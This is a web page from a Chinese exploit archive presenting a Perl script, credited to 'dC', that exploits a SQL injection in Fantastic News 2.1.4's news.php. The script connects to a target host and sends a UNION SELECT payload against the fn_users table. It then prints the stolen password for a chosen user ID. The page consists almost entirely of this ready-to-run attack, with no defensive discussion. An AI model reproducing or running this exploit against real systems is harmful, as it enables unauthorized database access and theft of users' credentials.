首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Fantastic News 2.1.4 (news.php) Remote SQL Injection Exploit
来源:vfocus.net 作者:dC 发布时间:2006-12-11  

#!perl
#Download:http://fscripts.com/download.php?file=1
use IO::Socket;
#dc3.dl.am
if (@ARGV<3) {
&header;
} else {
&get();
}
sub get() {
$host=$ARGV[0];
$path=$ARGV[1];
$id=$ARGV[2];
$socket=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>80)
or die ("[-]Error\n");
print "[~]Connecting!\n";
print "[~]Getting Data!\n";
print $socket "GET
".$path."/news.php?action=profile&id=-1%20UNION%20SELECT%201,2,3,4,5,password,1,2,3,4,5,6,7,8,9%20FROM%20fn_users%20WHERE%20user_id=".$id."/*
HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($ans=<$socket>) {
$ans=~ m/<td>(.*?)<\/td>/ && print
"--------------------------------------------\n[+]UserName:
$1\n[+]PassWord:";
if ($1) {
$success=1; } else { $success=0;};
}
if ($success=="1") {
print "\n[+]Successed!";
} else {
print "[-]Error";
}
}
sub header() {
print "\n";
print "#######################################\n";
print "# #\n";
print "# # ##### ##### #\n";
print "# # # # #\n";
print "# #### # ### #\n";
print "# # # # # #\n";
print "# #### ##### ##### #\n";
print "# #\n";
print "# fscripts.pl host /path/ 1 #\n";
print "# #\n";
print "#######################################\n";
print "\n";
exit;
}
#dc3.dl.am
#---------------------
#bY dC? - Crew ...



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Gizzar <= 03162002 (index.p
·mxBB Module Activity Games 0.9
·J-OWAMP Web Interface <= 2.
·Golden FTP server 1.92 (USER/P
·F-Prot Antivirus 4.6.6 (CHM) H
·D-Link DWL-2000AP 2.11 (ARP Fl
·F-Prot Antivirus 4.6.6 (ACE) D
·mxBB Module newssuite 1.5 Rem
·QuickCart 2.0 (categories.php)
·Crob FTP Server 3.6.1 build 26
·Envolution <= 1.1.0 (PNSVla
·ProFTPD <= 1.3.0a (mod_ctrl
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved